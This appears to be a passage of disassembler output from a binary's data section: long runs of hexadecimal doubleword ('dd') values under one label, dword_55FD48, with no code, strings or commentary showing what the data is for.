		dd 375980h, 0A184546Bh,	82A839E4h, 816DCA30h, 3E8E55C0h
		dd 88BC3443h, 8083307Ch, 0D54B2659h, 381829DEh,	846C7F21h
		dd 801213A1h, 12D4B20h,	1C925677h, 0FBA0B04h, 5D21633Bh
		dd 0CC1DC50Dh, 2750A689h, 6B425A24h, 0C9D6B201h, 0E0503CAFh
		dd 8AE9DD81h, 145B6D79h, 6CCB143Eh, 35386348h, 0E1813E88h
		dd 0AD8EF280h, 732AD90Ch, 462128C8h, 0F30039E3h, 927C8CCh
		dd 0B387DFh, 0D558976Bh, 5B77668Ah, 56BA3718h, 0F25DE61h
		dd 398F079h, 61F9B380h,	55015913h, 63A8E0BBh, 58987080h
		dd 56D1A125h, 0C40E0688h, 218082C1h, 8E126ADCh,	0CA7EB891h
		dd 4020AE23h, 0C310F009h, 85FFFB28h, 0EFF62000h, 31D07F90h
		dd 654E2461h, 5028618h,	860C3857h, 31D7DE4Bh, 112C9171h
		dd 25C80051h, 2E5FF042h, 18C00ABh, 303FF479h, 0B8FAAA66h
		dd 4B95CA18h, 6488E98h,	0FEE1E3CBh, 0DD39510Ah,	0EC69E2BDh
		dd 15E023FCh, 7E306100h, 8116A3FAh, 0ABFC0043h,	3C25DF2Bh
		dd 58309D6Ah, 2871D8ADh, 7F1601D7h, 0AA533DC3h,	0DEFC489Ch
		dd 38E5B44h, 52A68B92h,	61338880h, 8DC080Bh, 87966D78h
		dd 51CA8186h, 80B4839h,	0BED73C00h, 71731ED6h, 0CDD8C00h
		dd 0C14D09AAh, 0FB50C237h, 48008608h, 57F3A1h, 0A02F0EB3h
		dd 7EC0AF2Ah, 0F618517Dh, 8E6897AEh, 0BD0502CFh, 3FF2415Bh
		dd 0D8D38490h, 88CE989h, 75590BFBh, 0B1D4C702h,	805FEA1Ch
		dd 0A5428E10h, 406F6043h, 0DC896BA1h, 0C158F100h, 0DEC5BC26h
		dd 1E7A7979h, 8EBA97C0h, 7E8E0E73h, 4CBB123Eh, 5C413538h
		dd 4891EC04h, 789950D5h, 0C0FD0020h, 74B9F699h,	0B400D656h
		dd 9F1F2E46h, 54E0EC3Bh, 0AFA083h, 7D07B622h, 88AB38F3h
		dd 1FAEA30Fh, 0DE0F57CFh, 4B791867h, 0E13463D7h, 41017DE0h
		dd 1F0861DBh, 70EC0628h, 485549A5h, 97207801h, 20AB3FA2h
		dd 22043C68h, 0DC966AA9h, 80FB04D2h, 24291054h,	33A80299h
		dd 760C661Dh, 0DE79898Ch, 0DC1EB4A4h, 481E625h,	7E2878C5h
		dd 80012421h, 798056A3h, 0A8EFD12Eh, 0CAE47A2Ch, 0C87B7315h
		dd 20314E4h, 80DD3F50h,	4D473F58h, 1975A359h, 511CA853h
		dd 8C5824A7h, 0B854302Ah, 0E6C07A07h, 0EE02513h, 1ADFAF41h
		dd 0D0260904h, 0CC4E00B0h, 1795C0F9h, 0BB809493h, 0B4A54719h
		dd 0D71600A8h, 0DDB32891h, 0CB264DD3h, 0DC26BC06h, 11D28509h
		dd 2C40F66Ch, 39DF1458h, 0BA261331h, 3FB3C040h,	3801DD9Ah
		dd 9F3B6A2Ah, 998AE0B9h, 43F8E102h, 16E864E4h, 4F00C42Ah
		dd 0E95DE024h, 9206F72Bh, 1DDD0020h, 77F0B581h,	5055AF02h
		dd 0E1376098h, 79D3A4E0h, 264C1010h, 9813BC71h,	0EF0D3C1Fh
		dd 40A9192Fh, 20351678h, 375EDE3Ch, 0DA21900h, 0CB6BA70Bh
		dd 0E7504B3h, 0D85F99E4h, 883C905Ch, 0F1AC80BCh, 405982F6h
		dd 1D87C12h, 37047E95h,	17818C13h, 9ECCA8F0h, 84BE98BFh
		dd 0B1DF64CCh, 0D2488D6h, 0E118349Ah, 0C6685D59h, 1ABFCC9h
		dd 92B6A143h, 0C4AA8371h, 21FCB151h, 0F9865233h, 8ED0A23Ch
		dd 0E7700A1h, 215F4DDh,	0D3223D41h, 40CA7331h, 75003C66h
		dd 89CADAA1h, 75D3155h,	43FB191Ah, 0BA4AA01Fh, 0A0C8121Eh
		dd 5418E9D0h, 0AD002962h, 7AF075E7h, 1F6B620h, 0A7483E39h
		dd 1054333Dh, 7F69B259h, 44610CD8h, 0CF410CD6h,	7DE7101Ah
		dd 0F91C645Ah, 0D71C8814h, 4C5030FDh, 0F1B319C7h, 9908FAE0h
		dd 7630051h, 8AA0C061h,	0AC0AED16h, 0D8382CD3h,	4842F4A0h
		dd 0EB005622h, 91EE42FDh, 4CAB90D5h, 0D011D84Fh, 22045880h
		dd 49A76EC2h, 2081702Dh, 0C1CF0764h, 89AAA0B7h,	8C165Dh
		dd 666365E2h, 0AC060DF7h, 0EA2A140Bh, 0A8089037h, 85E20531h
		dd 90D2BE34h, 0A3E52630h, 0A951F301h, 84CB4B25h, 522E848h
		dd 0A3E90258h, 54D888E0h, 12A1D300h, 505EF79Ah,	0B207767h
		dd 2EDA0C76h, 1858E010h, 529888B9h, 0E9D1ED9h, 9BC13EDFh
		dd 0ECB3661h, 27BCC50h,	1006F124h, 3E4F5444h, 50D972A0h
		dd 303D457h, 0DD80899Fh, 0FB212E4Eh, 78F540E8h,	7204343Ah
		dd 283FC57h, 0D9036490h, 0E9012C04h, 81DBED8h, 517C2452h
		dd 2CECD2E9h, 297E3C00h, 0D318F0F9h, 0BBE11058h, 4006145Dh
		dd 0AC3E8AE8h, 810067A6h, 32214ED9h, 46080372h,	9A2DC818h
		dd 366DD1F1h, 53AF00C4h, 0F6CC77Eh, 0E802094Ch,	48AA5298h
		dd 0FDEC8878h
dword_55FD48	dd 0DFCCCCBFh, 0E471091Bh, 9E80A49Dh, 599264CCh, 0CE007BC7h
		dd 7629CA20h, 648D22C9h, 408131EAh, 0B27DE13Ah,	405302E6h
		dd 751D4C9Ah, 0E004849Ah, 224C5488h, 80066556h,	10E82035h
		dd 780080E2h, 0BEF654A2h, 0EB306F9Fh, 0D781F086h, 34922955h
		dd 6682449h, 0D5B533Fh,	4EA33061h, 0FE3288D1h, 9006874h
		dd 1B2BAA78h, 0DE8BB7h,	1E514AEh, 829EF3FCh, 0F90A5091h
		dd 6F808806h, 0AABD95B1h, 372EA6Dh, 0C4A0DD75h,	0E3A8B4DCh
		dd 44098D26h, 22ADAA6Ah, 50588A7Ch, 509B28h, 0BA0806FFh
		dd 0BC920219h, 0B0E00148h, 4B9408Bh, 263C47E3h,	0C82129Ah
		dd 0F2DCAFFEh, 0FC2244D0h, 0D864019Bh, 2CE2986h, 3EC07072h
		dd 0E03B52h, 44B19221h,	74813Ah, 18093D95h, 41CB6CEBh
		dd 70A1A804h, 0E48834D6h, 1266ECB1h, 821542D2h,	0D864E000h
		dd 0E8007274h, 0EEEB481Eh, 2647B7DBh, 984C062h,	2C90956Dh
		dd 5496358Ah, 39CB8980h, 0F7A59Fh, 99B24870h, 6D6F155h
		dd 0E7870202h, 49CD685Ch, 88504164h, 14BE2Eh, 16EB0E0Fh
		dd 280D6880h, 67643201h, 0D54334CCh, 1C44C463h,	74C9005Ah
		dd 3A702E4Dh, 0F43CCD60h, 18A38087h, 26C04FA6h,	806494E0h
		dd 91DB6F76h, 0D605B841h, 6CD5B31Eh, 0A571E021h, 72002022h
		dd 90244554h, 0B9F2C210h, 4AB48C00h, 0F47DC9E8h, 0A3550D18h
		dd 0F0894BA4h, 5000FC82h, 16856CBFh, 5DC15165h,	26137437h
		dd 8B80008Eh, 0ED736914h, 36C60402h, 4870A6FBh,	0A4916D1Ch
		dd 0A6815CBCh, 97F0A845h, 11C1D884h, 0A3897B8Ch, 4D002462h
		dd 0E2F5378Ah, 0F0000845h, 3AD23339h, 24B1989Eh, 252C961Dh
		dd 7B716C81h, 8C3051D4h, 0C5002C85h, 5C8A0302h,	40F83424h
		dd 0D08B9CE2h, 7324DB00h, 0DA1E1D5Eh, 2A4B77E1h, 884AA0h
		dd 8E48F568h, 940F91E8h, 0C64B0400h, 84A6E3B2h,	251A0B0Bh
		dd 0F407D5C9h, 304AD97Fh, 5193A810h, 0CF0AA203h, 8157D305h
		dd 0BE215FC0h, 3FD69183h, 0A90082E1h, 38763C4h,	13439D2Dh
		dd 103D4698h, 0CAC4A80Ch, 87B4218Eh, 0FC91FB0Ch, 414BA00h
		dd 120B1C8h, 33E962FDh,	0FCB05395h, 1C12A599h, 5C52EF08h
		dd 0B76B08D0h, 8F0707Fh, 5FA53562h, 0D90F4C20h,	8257A08Eh
		dd 6CFA0539h, 0E102288Ch, 0DD490044h, 9864049Ah, 0A4312E91h
		dd 36D1B977h, 0DA40C114h, 0B879A95Eh, 6D3C1680h, 0C8CD6Ch
		dd 79D6B72Fh, 0B634E70Eh, 0C9A07E01h, 7319E5B1h, 0DF5C3Dh
		dd 0AFDED993h, 0CB12E038h, 44E288h, 35494EF7h, 0B43914E8h
		dd 0DF90BB07h, 0A0E04838h, 275FD8B2h, 5CA46045h, 0DD81436Bh
		dd 52394855h, 0F0D0802h, 60810103h, 62E7D6B2h, 0FC0429A4h
		dd 0D985350Ch, 0CD4402C6h, 0F02DBD8Dh, 0D63D5C48h, 0F89A73FEh
		dd 0D72E0EF0h, 0FB971403h, 90796420h, 67B60043h, 3F48A8A3h
		dd 0D578D4C6h, 7E3E261Dh, 480C48FDh, 9AD00Ch, 0BC472775h
		dd 0E2974B8Ch, 0C099F8h, 0CD8E9CBDh, 0F2048726h, 3922F51Fh
		dd 49C093h, 9118AEB9h, 0CA361BC5h, 0D1256212h, 0CE30A054h
		dd 169E20F7h, 0ABC7C1h,	0E27BF5D8h, 264DA387h, 0AF9F0E0Ch
		dd 74B35832h, 0F4B320h,	1A38C492h, 0FC1CB58Ch, 9356AB36h
		dd 5D59B021h, 7446CB12h, 9D859521h, 0C4B82CDFh,	90F8E9h
		dd 26C2D637h, 2544CB16h, 14106F47h, 0CCA442EBh,	0A03C44h
		dd 49F52CEAh, 0C4311877h, 0BF7B2400h, 0C5CADB97h, 883D32A1h
		dd 0E22D7C81h, 0CC088980h, 0A57A2269h, 9782E300h, 0B5C3A8D9h
		dd 0C0E17B29h, 0FF837931h, 7003CF6h, 0DB4509A0h, 1EDAE7B8h
		dd 2419AEEEh, 7F1A4000h, 8B19DEBh, 24472B00h, 3CBB294Ah
		dd 0CA00FF92h, 0BFD77037h, 0FCE1759Eh, 857A0D71h, 2100EDE8h
		dd 0B37EA295h, 7FCB4B6Fh, 91F1D33Ch, 0ED6DD594h, 609861BEh
		dd 109EB6A6h, 6BCC48C0h, 0B8105D31h, 84D9D710h,	2C5051ECh
		dd 10D84B15h, 4449E921h, 989626E0h, 5F50006Ch, 4B7E68D3h
		dd 0BA95505h, 28C8EDF4h, 0D73C8849h, 9EAE707h, 0B48472CAh
		dd 45D120E4h, 4C2333h, 8D21D3C4h, 0ACF9EDBh, 0F83C577Ch
		dd 0A2470014h, 0BFABC28Ch, 0CDE69400h, 6053EFE2h, 503050C4h
		dd 19852E0Ch, 74833CF9h, 0F443916Eh, 0C96AB5D8h, 1079B90Ch
		dd 8883790Bh, 21006430h, 0D4957CBEh, 0B242D3Ah,	0E7894B7h
		dd 10572469h, 0F9CAC9h,	92EA6A19h, 0D5FD959Ah, 0B9A01714h
		dd 0D1B40064h, 0F09D3C8Fh, 4CE60086h, 16BA6DD0h, 3B0559A8h
		dd 6F024A9Fh, 887FD4A4h, 4379658Dh, 81730E01h, 7EA45A1Ah
		dd 1397D8C4h, 4B9CD9B3h, 6811A348h, 2983C861h, 456C8D2Eh
		dd 8093507h, 915ED2F0h,	24B385h, 842E3090h, 0C24EB115h
		dd 0B8006DBCh, 36BD56C9h, 0CF5CA934h, 42097F4h,	483732Dh
		dd 0A9E822B5h, 0BCF30Fh, 6BC4EF26h, 7E533AEAh, 0C1B25838h
		dd 0F8A47509h, 0B5EBF048h, 0F9A51200h, 0FAEA6C15h, 99972742h
		dd 40339CA4h, 2392D146h, 6FDB024Dh, 4BF48FA6h, 417609F5h
		dd 28AEED4Ch, 0C8AE45B4h, 3CE31B1Ch, 1A5B8B74h,	7D9E408Ch
		dd 980B0174h, 27191FDh,	0E7A444FEh, 50186D64h, 8074D3F2h
		dd 91659B3Ah, 2A2F31B4h, 85982472h, 0BB04F826h,	398CC1C9h
		dd 11C6B4E5h, 3C3124h, 6BD48128h, 2C208BCh, 16CE612h, 599305DDh
		dd 79BA3EBFh, 0D03D0114h, 78280D67h, 3E9A58C8h,	71EBF90Ah
		dd 7B97D810h, 33427099h, 8F9FE034h, 0A0D0079h, 0C5E14202h
		dd 20D4EB8Bh, 962EC070h, 0FC1D3F77h, 0D8CD0388h, 0F8F9F49Eh
		dd 1158202Fh, 0C89103DCh, 0AA0C5054h, 9AE3C40h,	0A2E2DE3Fh
		dd 0C0DCEC68h, 99E11709h, 4CCCECF0h, 3C83CD0h, 7F7BA053h
		dd 35BB5A8Ch, 6F30C878h, 0B903AF03h, 0D88F9DF1h, 7253A62Eh
		dd 4DDF1EF7h, 0E0582C5Eh, 65A47CE6h, 0DBEF7800h, 0A7BEF3EBh
		dd 0C958187h, 7E08F5D1h, 27268844h, 0AC90ED4Bh,	1A09FC91h
		dd 62DC7B51h, 0E968B074h, 0BD530026h, 0A3CE0335h, 0C709BBC2h
		dd 449855DFh, 44295FC0h, 57C2918Ch, 19F08841h, 40EA386Bh
		dd 12C058F2h, 2272DE77h, 0F212EB30h, 581C9C44h,	0C201428Ch
		dd 363205C7h, 71883A6Ah, 18C9C196h, 0A62B88h, 6CE7482Dh
		dd 0DD52C5ABh, 0A14E420Ch, 2B81B87Ch, 78E4D0h, 885DABD9h
		dd 62007CC4h, 2315C182h, 0A0BC4159h, 48AF71ACh,	0A0045C17h
		dd 0F338B525h, 0B9EB2708h, 59850554h, 0FC11F6h,	0DEE7B1E7h
		dd 7200D2A2h, 206C7AC4h, 27C212CAh, 58B09A6Bh, 5800A378h
		dd 4C75D3A1h, 20C723Ch,	1CFB55CBh, 20661139h, 58AF022Ch
		dd 4CE0A026h, 5FF6597Dh, 823C1757h, 0D0B12530h,	0A5C6C8EBh
		dd 0CC3C0954h, 0C540406h, 0AE771Fh, 6553E68Eh, 0AF085655h
		dd 0C778705Dh, 1D909CC8h, 4477A99h, 3D5A2C1Fh, 0E2C4D0A2h
		dd 0F09D059h, 4984EDF1h, 11FE0384h, 0EEE51081h,	0A95D0058h
		dd 8ABD96AEh, 78F3D210h, 177CC340h, 0F5A9F83Ch,	2201008Eh
		dd 0B83FFC07h, 532B0A16h, 8038BC88h, 0BB641EE6h, 3FFA36A8h
		dd 4100E4E8h, 0D3ACFD79h, 2C094266h, 6CF702DBh,	404494CCh
		dd 883C4B6Ah, 470C2412h, 0AA9F0420h, 18C000C6h,	9DD25283h
		dd 20AA70BAh, 8CB0CC09h, 5EE2BC0Eh, 3B4D705h, 5480EE47h
		dd 62E93FEh, 0D641DC8Ah, 38B6786Ch, 0EC991880h,	1F532C07h
		dd 35A7350h, 59A7E567h,	0DCA40DE1h, 5896929Bh, 0E3791340h
		dd 0E4FEE6h, 0FBE19F58h, 5E89222Dh, 28718B02h, 0AE9D34F3h
		dd 9820B3CCh, 64B6CAh, 70C20350h, 3210BC15h, 0DFACA504h
		dd 73005D59h
		dd 55345279h, 0B8451200h, 0E707564Fh, 6074B6D7h, 27A1225Bh
		dd 0F017900h, 0AFF698CBh, 516802FFh, 164E69DBh,	21005CEEh
		dd 0AC473C34h, 2247E59h, 4532FCD1h, 951D8h, 6BD222C4h
		dd 4430984Eh, 1B090C81h, 5B0B1352h, 79190014h, 0EDC8C6F4h
		dd 39BC4B00h, 13FE86F8h, 0F5290147h, 94276C9Ah,	0F03C0085h
		dd 3B6900E8h, 717315AFh, 0D001B152h, 240942DFh,	0DACAF102h
		dd 0B4885478h, 6705079Ch, 6429204Fh, 29F88D5Fh,	0AF33006Ch
		dd 9C2177A5h, 144B09D6h, 4C714D31h, 20B1611h, 3C0439D9h
		dd 4D5026CFh, 0DE800Dh,	8808DFA3h, 0D2207FABh, 72060041h
		dd 1B2632EDh, 0C012ADB4h, 34B30AF8h, 4E925811h,	63EE0020h
		dd 133B029h, 421C6AF7h,	74583959h, 0F384FE50h, 0BC63839h
		dd 7E2159EAh, 4A1114h, 4B1AC52h, 48E4E3h, 3B27588Dh, 2C8B26Eh
		dd 0FA023899h, 0E4836BBDh, 248A5808h, 73C304Fh,	8E00FBAFh
		dd 383F2FC3h, 0B1ECCCh,	0A6FE4678h, 1205C95Fh, 6C60E894h
		dd 4C7287D5h, 4500F64Ah, 124D13D2h, 0E824847Dh,	7A11105Eh
		dd 7F21F600h, 2C70F7E4h, 8900DEE0h, 992BBBA3h, 0A686F584h
		dd 38E08A0h, 123E5101h,	808A2D7h, 403E4419h, 0CE686FAAh
		dd 0A328000Bh, 12A67EDh, 8F159B50h, 21A42945h, 0B46D0BD3h
		dd 3D265C10h, 2C90FCA6h, 99EAB901h, 12083CD2h, 94C02078h
		dd 61A12D6Eh, 3459D00h,	5FF648DDh, 0EC76087Eh, 4B05255Eh
		dd 48C8DAD8h, 446C99EDh, 4D94404Ch, 22E326h, 0C3D788E6h
		dd 554751FBh, 21B97D0Bh, 9C6C44AAh, 0D4896E24h,	3463844h
		dd 95FB9C44h, 83E3B4A1h, 3F09F4BFh, 0F603417Fh,	0A4C1644Fh
		dd 0CEDFDA87h, 0B07F0300h, 55F514FFh, 0FE041FF8h, 96582559h
		dd 270C04D2h, 0F195E001h, 7CBC8587h, 71703C80h,	4D0B20Dh
		dd 7308A2F0h, 143888B9h, 88FEC202h, 0E425F8ADh,	6B80255Ch
		dd 211C8C5h, 9F3B7F00h,	0D7306BAh, 0F1030F1h, 8DAAE504h
		dd 0C8246B40h, 0CF7F82BCh, 4A3348h, 90FDD0Eh, 5FD6B1FFh
		dd 297024E6h, 1CE032CCh, 50805145h, 0C7AF32E0h,	8884605Dh
		dd 0D2598E58h, 2141AD02h, 54F4DC24h, 58646988h,	0C421535Ah
		dd 58398B3Bh, 7CE80225h, 5460A571h, 0F62A8381h,	0D2E50439h
		dd 0A16015FDh, 845C6918h, 3C4157DAh, 0D19B7E22h, 1247350h
		dd 0D02807AFh, 702CE9EAh, 0C05AA3C9h, 97C55406h, 44A08EA4h
		dd 58488A6Ch, 0B890D21Ch, 1450E6CDh, 0C9A9DED7h, 0A8D9F502h
		dd 9CD1124Ch, 7671CD80h, 8B776Eh, 0CBA8F34h, 518D42EBh
		dd 8130A55Ch, 17EC4126h, 9F83FFCh, 0B78D6756h, 0AA4C7102h
		dd 22580D0h, 42384406h,	0A01034D8h, 4530D8h, 5794C6C0h
		dd 23D2B275h, 5E385D03h, 98E84D9Fh, 5D0741FAh, 1224476h
		dd 960035F0h, 83629BFCh, 2785371h, 5B04A51Eh, 98987005h
		dd 0F205DC26h, 7379AF75h, 0CE00DCA6h, 0CF8C96E7h, 58419880h
		dd 6A0A3040h, 209095FEh, 3602BCC3h, 7B612179h, 0A53C76CAh
		dd 72022868h, 7C96D3F8h, 0B9D26D81h, 1180E935h,	0EB3672DEh
		dd 0B079D898h, 6190100h, 0CBC36B5Eh, 1D69005Bh,	52D2FA0Bh
		dd 0CC748DDAh, 1819DD0Eh, 50088254h, 4EB5031Bh,	41280818h
		dd 0EB8111h, 0A7894239h, 0DBDF1344h, 5206147Ch,	539DF2BDh
		dd 57E40028h, 0BF97C615h, 8918081Fh, 2A40760Eh,	300C603Ch
		dd 8361C4DDh, 1DCF5B3Ah, 0DEC7763Fh, 73210AFAh,	1D00D7A8h
		dd 0B440053Ch, 481E38E3h, 409E9F9Eh, 50C9AAA7h,	20D1F732h
		dd 0D5C10014h, 84516E2Bh, 0D6611E0Dh, 57EC04B8h, 0B3FE04D3h
		dd 5FB5BE00h, 583FD6A8h, 0BB4200AEh, 72E5E617h,	50C876C9h
		dd 0C0F28866h, 948519B1h, 99762691h, 9DAD5800h,	7EE50A8Eh
		dd 1815FE1Ah, 0B8E721B5h, 0BF005452h, 0D52D723Ch, 573551h
		dd 0AEA8DEC9h, 6699BA61h, 52DA4740h, 4420C091h,	110DF970h
		dd 18B266E6h, 0A84929E0h, 677BC0h, 9F082F5Fh, 9EDF7D17h
		dd 1185D200h, 9A1DEE18h, 0FAAC0B0Ch, 277AF13h, 0AE086527h
		dd 0E8458A8Ch, 5B00B59Fh, 44BD238Ah, 1BAEE887h,	102276FAh
		dd 42B8BBA1h, 1486F90Ch, 4118084Fh, 86393FF5h, 3067F8BEh
		dd 6431B999h, 0EF0CB49Dh, 3979A5E9h, 428E642h, 0F35B2AF8h
		dd 813FC110h, 0FE9BD8F6h, 95ADC000h, 3EB791D5h,	4846672Eh
		dd 4167A3BDh, 8002BCA3h, 0EC0E4B1Dh, 0A710808Dh, 134D139h
		dd 0D553E04Dh, 881E972Ch, 0B385B9C1h, 0A3F90399h, 0E1BE5Fh
		dd 0AEFAA735h, 0A146E552h, 80FE7664h, 6BF01D7Ch, 0DDE53102h
		dd 0B8428C10h, 6CBE0079h, 1ED16332h, 3CF80325h,	86A241A6h
		dd 83582019h, 0A4101030h, 3A0745F7h, 8DAF54F9h,	2C31184h
		dd 0EF2EB0AEh, 0A324190Bh, 851EA9A7h, 0A9E551E8h, 6C98805Fh
		dd 709CB9h, 0FA891FA7h,	0AFC7205Bh, 37D79500h, 3F818B3Eh
		dd 80BE57B8h, 241B9520h, 0B091D42Ch, 30C4B607h,	1D596EA5h
		dd 341FE8B8h, 0ACF89C7h, 3C562257h, 77460F3h, 3030FE06h
		dd 24906883h, 0E40621B8h, 84A675CFh, 9BF73769h,	3B0922B1h
		dd 8883104Ch, 4081C83Ah, 697DE0h, 1D84EDCCh, 6AB7392h
		dd 0AF804550h, 2446E905h, 5804802Fh, 40912068h,	7180AD96h
		dd 0F6D6B054h, 533FC4A6h, 3E4D0EAh, 412A9678h, 0EBEFEC26h
		dd 40CE3100h, 2B9A4355h, 0AE59C178h, 838889D0h,	0FB4BF5D8h
		dd 3B92825h, 0D16707FCh, 7412DB43h, 1D049079h, 9CA973A5h
		dd 0E0C530AAh, 917B7500h, 0B5A18C0Ch, 3BF4C8Ah,	833CFD00h
		dd 4A08DC6Bh, 64250628h, 87416060h, 31F8CBD3h, 4C10E769h
		dd 609841B2h, 87088053h, 174BF2E8h, 902C0378h, 0B95623C3h
		dd 0F21F380h, 0AF967B18h, 0F4D972E1h, 0F7011C17h, 7150C0A4h
		dd 0A2DCDEFEh, 0A4231324h, 0E18846h, 1E4F9EEEh,	5115A1Dh
		dd 0B44598A4h, 523DE0h,	5CD8859Dh, 2B657221h, 326DE78h
		dd 0E30A9E24h, 960C2889h, 0B539AEh, 7AF66AB2h, 0AD03D37h
		dd 0D22CBA01h, 7DEE7959h, 46670823h, 0E0C3A0C9h, 0D01FA3C0h
		dd 10281E57h, 0AEB0A761h, 985074C2h, 49053E67h,	0C50A0C45h
		dd 100C1E42h, 50DB8404h, 3AF354D1h, 1428B212h, 0C0762441h
		dd 0EC0AB454h, 1064D0DDh, 0FD0FF840h, 17032694h, 0C5A4B783h
		dd 0C6310524h, 1EE4105Eh, 483D8A9Ch, 6AAE002Ch,	0E395027Eh
		dd 801C1F48h, 0A0BADC0Ch, 19C0E896h, 0C15FD69Bh, 3039BC4Ch
		dd 8A4E7941h, 5260082h,	401065C0h, 6F19039Fh, 23D8AE3Dh
		dd 34406D12h, 3A33432Ch, 30BC68E0h, 24218B18h, 4CA01705h
		dd 0A029C08h, 0F45170FCh, 0E0D84B98h, 0E66EC0B7h, 0E3720329h
		dd 76DF7595h, 318B853h,	716A9753h, 4D7E41Ch, 495FC25h
		dd 0B4B0B470h, 0A7E903D2h, 7B293EC1h, 0FF418109h, 20CB23Ah
		dd 0C6B3767Ch, 12FB4238h, 884C8D68h, 0E193936h,	2AE013F4h
		dd 96EBA42h, 8658DC64h,	957CC858h, 760FE867h, 7213B3BAh
		dd 1CE090E4h, 0C400B933h, 2D7CE8F6h, 0E75BB6F9h, 0BADD998Ah
		dd 0F7750299h, 0C86496B0h, 817344h, 884D72F9h, 6CF2FA66h
		dd 0F3AE8F04h, 60882407h, 714C608Ch, 348945E0h,	0F05BE50Ah
		dd 0B2919CDBh, 1E6A8A00h, 0AD651833h, 5829E400h, 21AFE302h
		dd 0A6B05C55h, 88D91A15h, 0AD6723C0h, 45985C9Bh, 0E1079526h
		dd 6C644C1Eh, 54FD1B40h, 464914A1h, 0D200E47Fh,	12046F67h
		dd 1E49BF94h, 0EFBC417Ch, 5760D918h, 1CCB6441h,	4084F0CFh
		dd 0F62F94FEh, 4001786h, 0ED4C1F3Dh, 98FB9135h,	80C32ADCh
		dd 8D0803BCh
		dd 4E25AA97h, 800F43AAh, 0C2E02E1h, 7BA63BAFh, 0BC687180h
		dd 0B9122439h, 7FA38718h, 78A0541h, 1815453Ah, 0B6351049h
		dd 0A91C5804h, 2898541h, 99701A40h, 20E20930h, 0B1FE04BAh
		dd 3C3030D3h, 287190h, 3BE10BB5h, 3F461FAFh, 0D6FCC80Ah
		dd 24049050h, 988CD838h, 0A8090186h, 688D56EFh,	25188388h
		dd 0F81DD15Fh, 7AC1B8Ch, 2ED9369Fh, 0D2B9C3DDh,	6024F014h
		dd 77A386FCh, 1A140F81h, 0E1A9BFF8h, 1EEFE502h,	1BB7F9E0h
		dd 1DB03503h, 0B0BFE803h, 0B8B52A69h, 8181E0ACh, 5C328Ch
		dd 5949F5EBh, 79AEFFFh,	2D391E01h, 318A0147h, 43C45BEh
		dd 90E09880h, 164A2B04h, 3EE32E00h, 0A37DF9B1h,	0DB600040h
		dd 8CA2ACDFh, 2006E6DDh, 3DF64BF3h, 89B40h, 50980466h
		dd 300018B7h, 7548BB28h, 1EDF1h, 72FBE636h, 7C19A23Dh
		dd 0F80C5100h, 556BE2B5h, 2576EEh, 44F2E7BFh, 8F7679BCh
		dd 4C3C50B9h, 3038417Ch, 0C50065B9h, 556FC419h,	7FE393Eh
		dd 7CFAA33h, 7D2F83E5h,	67A7E112h, 0EF14200Eh, 6A925D8Dh
		dd 8C866C00h, 54A5F7D9h, 0E578482h, 0B1CDD6ADh,	2B912DCh
		dd 6114BEAAh, 0A40154E4h, 0DE065D48h, 0B6D895F8h, 0A26C3239h
		dd 8C52A358h, 0B8503100h, 344B936Bh, 75F51C9Fh,	25E18133h
		dd 64872CBCh, 0C4960DCh, 805C3EA0h, 6D1DDBB9h, 6001E2A4h
		dd 0CB2C0E1h, 0B4048346h, 3BFD436Eh, 0B92F688Ch, 0AE63857Ch
		dd 76640BC4h, 5863B89Ah, 0C0AF63E0h, 76F85D52h,	621CCEFh
		dd 8DAA600h, 6962257Ah,	102D48B4h, 0A80750C9h, 8242E4DDh
		dd 69207D90h, 17383EFh,	0F832B41Eh, 70C23CCAh, 961490BCh
		dd 3540A41h, 0E383D3B2h, 0A3ACF9C0h, 0DAABD8h, 0A7E5B402h
		dd 4BF4B614h, 84A2FD2Ah, 114AACA1h, 718078A3h, 0F79251E7h
		dd 0BF00E217h, 0EDA8E975h, 699EF498h, 0FC9012AFh, 16302A6Fh
		dd 0C1871161h, 9DA20013h, 7B28E596h, 4649E68Fh,	0C02429B4h
		dd 0A400CC96h, 7AD02C5Fh, 0C5CA01DDh, 0BD196839h, 48AC2540h
		dd 1201D9ECh, 16A79285h, 2DDC3194h, 268C246Ah, 14B31184h
		dd 952FD9h, 86410367h, 9A18FAh,	0FEF79D8Eh, 0CF068CEDh
		dd 209134F0h, 0B33878A0h, 83248082h, 1A863AC0h,	66330067h
		dd 0A91CC856h, 5309A5FFh, 13B89E6h, 0A8BC761Bh,	4B8C798Ah
		dd 823F80A0h, 13613DB2h, 933B0C00h, 1E25C31Dh, 0E4160006h
		dd 0BE9F022Dh, 88FE8352h, 685FBD2Eh, 0E4BC6941h, 0D5D0E8h
		dd 40A934B5h, 0AA986AC3h, 59EE69C0h, 0CF82A6h, 4F25ECCBh
		dd 46FEA3CAh, 0BBF087E0h, 0FD287967h, 4114C97h,	0E88A8C3Ch
		dd 0E0F07744h, 8682FE27h, 6E7BF003h, 98E52035h,	0EAC5F390h
		dd 484958BEh, 9D4D32Ch,	5D0326E4h, 0E958418Ch, 5D007FEFh
		dd 4DAF14F1h, 198DFC83h, 0E8437129h, 75D06026h,	0FC99F5EEh
		dd 0BF091E1Fh, 222A8904h, 207D2CE8h, 0BE790A58h, 0C8FB4112h
		dd 438F1040h, 1F25773Eh, 0A4B8C0AEh, 586640A4h,	0EF7DE5A4h
		dd 49006CB1h, 27E6F0F1h, 572C064Ch, 40422069h, 22B201F3h
		dd 74E46002h, 68CF2D00h, 2432FD77h, 636F0734h, 249D432Eh
		dd 0E0F0C286h, 0CAA2BCA0h, 1D3CB556h, 0E6D2078Ch, 34E0C125h
		dd 0D45F94h, 0B285B1BFh, 3E773B47h, 422461C3h, 54E14850h
		dd 336134C1h, 0EE6FDCB0h, 95252601h, 7E605B24h,	3449A6h
		dd 0D5C650FDh, 0CC293EDEh, 0A02894ADh, 0BF0944h, 470EDB73h
		dd 1E2DC828h, 86518C0Fh, 0AC33B6B4h, 0D5A400B5h, 4DC48967h
		dd 984C0269h, 383E12D0h, 7F58E4D0h, 648D5878h, 0B577B80h
		dd 0FD0106BEh, 155C5BA3h, 4060E980h, 0AD42843Ah, 0FE773300h
		dd 0C97C8872h, 564BBFF2h, 51708020h, 1C4D00D0h,	4F343C77h
		dd 0F2FE7DBAh, 90245C27h, 2A94050h, 267CFE90h, 44C4BB76h
		dd 20AC8825h, 8CC1B13Ch, 2C2490CCh, 6050A785h, 0B2840D36h
		dd 41D26F00h, 0C5BAECB5h, 5E802E0Ch, 4E0A6B0h, 88072438h
		dd 68FADA64h, 76E04209h, 0FCCC4BAh, 8C39BBC5h, 2D361EF1h
